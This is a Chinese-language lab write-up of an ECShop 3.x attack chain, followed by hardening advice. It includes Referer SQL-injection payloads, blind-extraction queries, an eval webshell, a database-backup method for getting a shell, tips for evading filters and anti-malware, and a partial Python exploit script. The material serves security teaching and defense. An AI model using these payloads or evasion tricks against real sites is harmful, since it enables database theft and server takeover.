1. 项目概述:一次针对经典电商系统的深度安全测试
最近在整理历史渗透测试案例库,翻到了一个挺有意思的老项目——针对ECShop 3.x版本的安全评估。ECShop作为一款曾经在国内中小型电商市场占有率极高的开源系统,其安全性一直备受关注。虽然现在新项目用它不多了,但互联网上依然存在大量基于此版本的历史遗留系统,对于安全研究者和企业安全运维人员来说,理解其漏洞原理和利用链,无论是用于内部资产风险排查,还是提升安全防御意识,都极具价值。
这次实战记录的核心,是围绕ECShop 3.x版本中一个经典的“Referer头注入漏洞”展开,并最终演示如何将其与系统其他弱点结合,形成一条从漏洞发现到一键获取服务器权限(GetShell)的完整攻击路径。整个过程涉及代码审计、漏洞利用、权限提升等多个环节,算是一次比较综合的Web安全实战。无论你是刚入门安全的新手,想了解一个完整漏洞的挖掘与利用流程;还是有一定经验的从业者,希望复盘经典漏洞的防御思路,这篇记录都能提供一些直接的参考。
2. 环境搭建与漏洞原理深度解析
2.1 测试环境快速部署
要复现漏洞,首先得有个靶场。我推荐使用Docker快速搭建,这能保证环境纯净且易于重置。
- 获取漏洞版本源码 :ECShop 3.x的多个子版本(如3.0.0, 3.0.1)都可能受影响。可以从一些开源漏洞靶场平台或历史源码存档站点找到特定版本的ZIP包。
-
编写Dockerfile
:为了模拟真实环境,我们构建一个包含Apache、PHP 5.x(ECShop 3.x兼容的版本,如PHP 5.4~5.6)和MySQL的镜像。关键点在于PHP配置需要开启
register_globals(默认为Off,但某些老旧环境或配置不当可能开启,这是漏洞触发的条件之一,我们为了复现需要手动开启)和magic_quotes_gpc=Off。FROM php:5.6-apache RUN apt-get update && apt-get install -y libpng-dev libjpeg-dev libpq-dev mysql-client && rm -rf /var/lib/apt/lists/* RUN docker-php-ext-configure gd --with-png-dir --with-jpeg-dir && docker-php-ext-install gd mysqli pdo_mysql # 修改PHP配置以适配漏洞环境 RUN echo "register_globals = On" >> /usr/local/etc/php/php.ini && \ echo "magic_quotes_gpc = Off" >> /usr/local/etc/php/php.ini COPY ./ecshop /var/www/html/ RUN chmod -R 755 /var/www/html && chown -R www-data:www-data /var/www/html -
部署与安装
:使用
docker-compose up -d启动服务后,访问IP地址,按照ECShop的网页安装向导完成数据库配置、管理员账号设置等步骤。安装成功后,一个存在漏洞的ECShop商城就运行起来了。
注意 :在真实安全测试中,绝对不允许在未经授权的情况下对任何线上系统进行此类操作。所有学习和研究都必须在完全自主控制的隔离环境(如本地虚拟机、Docker容器)中进行。
2.2 Referer注入漏洞原理拆解
这个漏洞的根源在于对用户输入的不完全信任和不当处理。它主要发生在
/flow.php
这个处理购物车流程的文件中。
-
漏洞触发点定位
:查看
flow.php的源代码,可以发现有一段代码用于记录用户访问来源,即$_SERVER[‘HTTP_REFERER’],并将其存入数据库。关键问题在于,在insert或update数据库操作前,对Referer值没有进行充分的过滤和转义。 -
漏洞代码模拟
:简化后的漏洞代码逻辑如下:
这里,// flow.php 中部分代码逻辑 $referer = $_SERVER['HTTP_REFERER']; // 直接获取HTTP请求头中的Referer $sql = "UPDATE " . $ecs->table('cart') . " SET referer = '$referer' WHERE session_id = '$session_id'"; $db->query($sql);$referer变量直接拼接进了SQL语句。在magic_quotes_gpc=Off且未使用addslashes等函数处理的情况下,攻击者可以构造特殊的Referer值,提前闭合单引号,注入额外的SQL命令。 -
利用条件分析
:
-
register_globals = On:这是一个已废弃且极度危险的PHP配置。当它为On时,PHP会将GET、POST、Cookie等请求参数自动注册为全局变量。这允许攻击者通过请求参数间接覆盖代码中的变量值,为漏洞利用提供了更多可能性。在我们的漏洞链中,它可能被用来覆盖某些关键变量。 -
magic_quotes_gpc = Off:该配置功能是在GET、POST、Cookie数据传入时自动添加反斜线转义引号。当它为Off时,上述来源的数据中的特殊字符(如单引号)不会被转义,使得SQL注入成为可能。 - 目标SQL语句是可写操作(INSERT/UPDATE):我们需要一个能将注入的SQL语句执行并产生影响的点。
-
核心原理
:攻击者通过篡改HTTP请求中的
Referer
头部,将恶意SQL代码注入到数据库查询中。由于ECShop在该处未做过滤,在满足服务器配置条件时,即可实现SQL注入攻击。
3. 漏洞利用链的构造与突破
单一的Referer注入可能只能进行数据窃取(盲注),但我们的目标是GetShell。这就需要构造一个利用链,将SQL注入的成果转化为文件写入的能力。
3.1 从注入到数据泄露:获取关键信息
首先,我们需要利用Referer注入,获取进一步攻击所需的信息。
-
探测与验证
:使用Burp Suite或类似工具拦截“加入购物车”或“查看购物车”这类会触发
flow.php记录的请求。修改HTTP请求头中的Referer字段为注入探测载荷:
如果页面响应延迟了大约5秒,说明存在基于时间的盲注漏洞。确认漏洞存在后,就可以进行信息提取。Referer: http://target.com/‘ and sleep(5) -- - -
提取数据库信息
:通过盲注,我们可以逐步提取数据库名、表名、列名。例如,提取当前数据库名:
通过二分法,可以逐个字符猜解出数据库名。用同样的方法,可以查询Referer: http://target.com/‘ and if(ascii(substr(database(),1,1))>100, sleep(2), 1) -- -ecs_admin_user表,获取管理员账号和密码哈希(MD5加密)。 -
破解密码与后台登录
:获取到MD5哈希后,可以尝试在线解密或暴力破解。一旦获得管理员密码,即可登录ECShop后台管理系统(通常位于
/admin目录)。这是通往GetShell的关键一步,因为后台往往提供了文件管理或模板编辑功能。
3.2 利用后台功能实现代码写入
进入后台后,寻找能够写入或修改服务器文件的功能点。
-
模板文件编辑
:ECShop后台通常有“模板管理”或“语言项编辑”功能。这些功能允许管理员修改
.dwt(模板文件)或.php文件。我们可以尝试在模板文件中插入PHP代码。- 操作路径 :后台 -> 模板管理 -> 选择模板 -> 编辑库项目(或类似名称)。
-
风险点
:直接编辑
index.dwt或goods.dwt等文件,在合适位置插入一句话Webshell,例如:``。保存后,访问对应的前端页面,如果模板解析允许执行内联PHP代码,Webshell就能生效。
-
数据库备份与恢复功能
:这是更经典和常用的GetShell方法。ECShop后台通常有“数据库管理”->“数据备份”功能。其原理是:将数据库内容备份为一个
.sql文件,而这个文件的内容和名称在一定程度上是可控的。-
构造Payload
:我们创建一个新的商品分类、公告或友情链接,在内容字段插入PHP代码。例如,在友情链接的“链接名称”或“链接地址”字段填入:
注意,这里需要闭合SQL语句中的引号,并注释掉后续部分。';<?php @eval($_POST['cmd']);?>-- -
执行备份
:然后进入数据库备份功能,选择备份包含我们恶意数据的数据表(如
ecs_friend_link)。备份时,系统会将表结构和数据导出为SQL文件。 - 修改备份文件名 :关键步骤在于,备份生成的SQL文件名可能基于时间戳。我们需要利用文件包含或直接访问漏洞,或者期待备份文件被存放在Web可访问目录。更主动的方法是,如果后台有“恢复备份”或“执行SQL语句”的功能,可以尝试直接恢复我们构造的恶意备份文件,其中的PHP代码在恢复时可能会被写入到某个配置或缓存文件中。
-
构造Payload
:我们创建一个新的商品分类、公告或友情链接,在内容字段插入PHP代码。例如,在友情链接的“链接名称”或“链接地址”字段填入:
实操心得 :模板编辑的方法受限于模板引擎,不一定总能成功执行PHP。而数据库备份法成功率更高,因为它最终是向服务器写入了一个包含原始PHP代码的文本文件(.sql),只要这个文件能被Web服务器以PHP解析(需要文件后缀是.php,或者服务器配置错误将.sql当作PHP解析),或者其中的代码被写入到另一个.php文件中,就能GetShell。在实际测试中,需要结合具体版本的后台功能灵活尝试。
4. 一键化利用:自动化脚本编写思路
手动操作步骤繁琐,我们可以用Python编写一个自动化漏洞利用脚本,整合从注入探测到GetShell的流程。
4.1 脚本设计框架
import requests
import sys
import time
class ECSHOP_Exploit:
def __init__(self, target_url):
self.target = target_url.rstrip('/')
self.session = requests.Session()
# 设置一些通用的请求头,模拟浏览器
self.headers = {
'User-Agent': 'Mozilla/5.0...',
'Referer': '' # 动态填充
}
def test_injection(self):
"""测试Referer注入漏洞"""
test_payload = "' AND sleep(5) AND '1'='1"
self.headers['Referer'] = test_payload
start_time = time.time()
try:
# 触发flow.php的请求,例如访问购物车
resp = self.session.get(self.target + '/flow.php?step=cart', headers=self.headers, timeout=10)
elapsed = time.time() - start_time
if elapsed > 4.5: # 考虑网络延迟
print(f"[+] 存在基于时间的SQL注入漏洞,响应延迟:{elapsed:.2f}秒")
return True
except Exception as e:
print(f"[-] 请求失败: {e}")
return False
def extract_data(self):
"""利用盲注提取管理员密码哈希(示例,实际需要完整的盲注逻辑)"""
print("[*] 开始盲注提取信息...")
# 这里应实现完整的布尔盲注或时间盲注逻辑,遍历字符
# 例如:提取 database() 的第一个字符
extracted_hash = ""
# ... 复杂的盲注代码 ...
# 假设最终提取到哈希:21232f297a57a5a743894a0e4a801fc3 (admin)
return "21232f297a57a5a743894a0e4a801fc3"
def login_backend(self, username, password_hash):
"""尝试破解哈希并登录后台(简化版,实际可能需要撞库或已知密码)"""
# 这里简化处理,假设我们知道哈希对应的明文是‘admin’
if password_hash == "21232f297a57a5a743894a0e4a801fc3":
login_data = {
'username': 'admin',
'password': 'admin', # 实际中需要破解或使用已知密码
'act': 'signin'
}
login_url = self.target + '/admin/index.php?act=login'
resp = self.session.post(login_url, data=login_data)
if '管理中心' in resp.text:
print("[+] 后台登录成功!")
return True
print("[-] 后台登录失败")
return False
def upload_shell_via_template(self):
"""尝试通过模板编辑上传Webshell"""
print("[*] 尝试通过模板编辑GetShell...")
# 需要先获取CSRF token(如果存在),然后定位到模板编辑接口
# 构造请求,修改一个.dwt文件,插入一句话木马
# 这是一个高度依赖具体版本和路径的操作,此处省略具体实现细节
pass
def run(self):
print(f"[*] 目标: {self.target}")
if not self.test_injection():
print("[-] 未发现漏洞,退出。")
return
hash_val = self.extract_data()
if self.login_backend('admin', hash_val):
self.upload_shell_via_template()
# 或者调用其他GetShell方法
print("[+] 漏洞利用流程执行完毕。")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"用法: {sys.argv[0]} <target_url>")
sys.exit(1)
exploit = ECSHOP_Exploit(sys.argv[1])
exploit.run()
4.2 脚本关键点与注意事项
-
盲注模块
:这是脚本最复杂的部分。需要实现一个通用的布尔/时间盲注引擎,能够根据返回内容或响应时间自动猜解数据。这部分代码逻辑严谨但较为冗长,核心是使用
substring()或substr()函数逐位比较字符的ASCII码。 -
会话维持
:必须使用
requests.Session()来保持Cookies,模拟浏览器会话,否则登录状态无法保持。 - 错误处理与鲁棒性 :网络超时、页面结构变化、管理员密码已修改等情况都需要考虑。脚本中应加入丰富的异常捕获和状态判断。
- 合法性 :再次强调,此类脚本仅用于授权测试或教育目的。在编写和使用时,必须确保目标系统是你拥有完全控制权的测试环境。
一键GetShell的整合 :完整的脚本应当将上述模块串联:检测漏洞 -> 提取管理员哈希 -> 破解或使用默认密码登录 -> 在后台寻找最佳文件写入点(如数据库备份、模板编辑、广告管理) -> 写入Webshell -> 验证Webshell是否可用。每个环节都需要根据目标ECShop的具体版本进行微调。
5. 防御策略与安全加固建议
通过攻击过程,我们可以反向推导出有效的防御措施。
5.1 代码层防御
-
参数化查询(预处理语句)
:这是根治SQL注入最有效的方法。将所有用户输入都作为参数传递给数据库引擎,而不是拼接进SQL字符串。例如,使用PDO或MySQLi的预处理功能。
// 错误示例 $sql = "UPDATE cart SET referer = '$referer' WHERE ..."; // 正确示例(使用PDO) $stmt = $pdo->prepare("UPDATE cart SET referer = :referer WHERE ..."); $stmt->execute([':referer' => $referer]); -
严格的输入验证与过滤
:对于
Referer、User-Agent等HTTP头,同样要进行过滤。验证其格式是否符合预期(例如,Referer是否是一个合法的URL),并对特殊字符进行转义。$referer = filter_var($_SERVER['HTTP_REFERER'], FILTER_VALIDATE_URL); if ($referer === false) { $referer = ''; // 或记录日志,拒绝请求 } $referer = addslashes($referer); // 如果不能用预处理,至少转义 -
关闭危险配置
:确保
php.ini中register_globals设置为Off,magic_quotes_gpc也建议为Off(但需在代码层面做好转义)。display_errors在生产环境应设为Off,防止错误信息泄露路径等敏感内容。
5.2 系统与运维层防御
-
最小权限原则
:为Web应用程序连接数据库的账户分配最小必要的权限。通常只授予
SELECT、INSERT、UPDATE、DELETE权限,杜绝DROP、CREATE TABLE、FILE等危险权限。这样即使发生注入,危害也有限。 -
Web目录权限控制
:确保Web根目录(如
/var/www/html)下的文件,仅对必要的.php、.html、图片等资源有执行或读取权限。禁止上传目录有执行PHP的权限,可以将上传文件存储到Web根目录之外,或通过配置Nginx/Apache禁止该目录解析PHP。# Nginx 配置示例,禁止上传目录执行PHP location ~* ^/uploads/.*\.(php|php5)$ { deny all; } - WAF(Web应用防火墙) :部署WAF可以有效拦截常见的SQL注入、文件包含等攻击payload,为修复漏洞争取时间。但WAF是缓解措施,不能替代代码修复。
- 定期更新与安全审计 :对于ECShop这类不再官方维护的系统,应考虑升级或替换。如果必须使用,应定期进行代码安全审计,使用自动化漏洞扫描工具进行检查,并关注安全社区是否有新的漏洞披露。
5.3 安全开发生命周期(SDL)融入
对于开发者而言,应该在开发阶段就杜绝此类问题:
- 安全培训 :让开发者了解OWASP Top 10等常见漏洞。
- 使用安全框架 :采用成熟的、具有内置安全机制的框架(如Laravel, ThinkPHP等),避免从零开始编写敏感操作。
- 代码审计 :在测试阶段引入代码审计或使用SAST(静态应用安全测试)工具。
- 漏洞奖励计划 :如果条件允许,可以建立SRC(安全应急响应中心),鼓励白帽子报告漏洞。
6. 漏洞复现的常见问题与排查
在复现这个漏洞链时,你可能会遇到以下几个典型问题:
-
漏洞无法触发 :
-
检查PHP配置
:确认Docker或PHP环境中
register_globals和magic_quotes_gpc的设置是否与漏洞要求一致。可以通过创建一个phpinfo.php文件来查看当前配置。 -
确认触发点
:并非所有访问
flow.php的请求都会记录Referer。通常需要触发“更新购物车”或“用户状态变化”的动作。多尝试几个前端操作,并用Burp Suite抓包观察哪个请求的Referer被带到了服务端。 - 版本差异 :不同3.x小版本的代码可能有细微差别。确保你使用的源码版本是已知存在该漏洞的。
-
检查PHP配置
:确认Docker或PHP环境中
-
盲注无响应或响应不符合预期 :
-
网络延迟
:基于时间的盲注受网络波动影响大。适当增加
sleep时间(如10秒),并设置合理的请求超时。 -
SQL语法错误
:不同数据库(MySQL版本差异)或SQL上下文可能导致Payload失效。尝试使用更通用的Payload,如
' AND (SELECT 1 FROM (SELECT SLEEP(5))a) AND '1'='1。 - 防火墙或WAF干扰 :即使在内网环境,有些Docker镜像或系统自带的防火墙规则可能会干扰异常请求。检查是否有拦截记录。
-
网络延迟
:基于时间的盲注受网络波动影响大。适当增加
-
后台登录成功但无法GetShell :
- 功能点缺失 :你下载的ECShop版本可能精简了后台的“数据库备份”或“模板编辑”功能。尝试寻找其他可写入点,如“广告管理”(修改JS代码为PHP)、“邮件模板编辑”等。
-
文件权限问题
:Web服务器进程(www-data用户)可能没有对模板文件或备份目录的写入权限。检查目标目录的权限(
ls -la)。 -
代码被转义或过滤
:后台可能对输入内容进行了额外的HTML实体转义或过滤,导致
<?php ?>标签被破坏。尝试使用短标签<?=、<script language=”php”>(取决于PHP配置),或使用编码、拼接等方式绕过。-
示例(数据库备份写入)
:在插入数据库的字段中,可以使用十六进制编码或CHAR()函数来构造PHP代码,避免直接写入引号和尖括号。例如,将
<?php @eval($_POST[‘c’]);?>转换为CHAR(60,63,112,104,112,...)的形式,在SQL备份还原时,这些字符会被还原成原始代码。
-
示例(数据库备份写入)
:在插入数据库的字段中,可以使用十六进制编码或CHAR()函数来构造PHP代码,避免直接写入引号和尖括号。例如,将
-
Webshell写入后无法访问 :
-
文件路径不对
:通过数据库备份写入的文件,其存放路径需要确定。查看ECShop的备份配置,或直接搜索服务器上最近修改的
.sql或.php文件。 -
文件后缀问题
:备份文件可能是
.sql后缀,Web服务器默认不将其作为PHP解析。需要利用文件包含漏洞(如果存在),或者寻找一个能将.sql文件内容写入.php文件的功能。也可以尝试在后台修改文件后缀名(如果功能允许)。 -
被杀毒软件或安全模块清除
:动态生成的Webshell文件可能被服务器上的安全软件(如云锁、安全狗)或PHP安全模块(如
php_screw、自定义disable_functions)检测并删除。尝试使用更隐蔽的Webshell代码,或利用系统本身的功能(如assert、create_function)来执行代码。
-
文件路径不对
:通过数据库备份写入的文件,其存放路径需要确定。查看ECShop的备份配置,或直接搜索服务器上最近修改的
排查技巧
:始终开启Burp Suite的代理和日志功能,记录所有请求和响应。对比正常请求和攻击请求的差异。同时,在Docker容器内使用
tail -f /var/log/apache2/error.log
实时查看PHP错误日志,这里通常会暴露出SQL语法错误、文件写入失败等关键信息,是调试漏洞利用Payload的利器。
整个从Referer注入到GetShell的过程,是一次对应用安全纵深防御体系的考验。它告诉我们,一个看似微小的输入点(如HTTP头)处理不当,在结合了不安全的服务器配置和后台功能缺陷后,就可能演变成一条直通服务器核心的致命攻击链。对于防御方而言,修补漏洞需要从代码规范、服务器配置、权限管理等多个层面同时着手,缺一不可。而对于安全研究者,理解并复现这样的经典案例,是构建系统性安全思维不可或缺的一环。
1607




被折叠的 条评论
为什么被折叠?



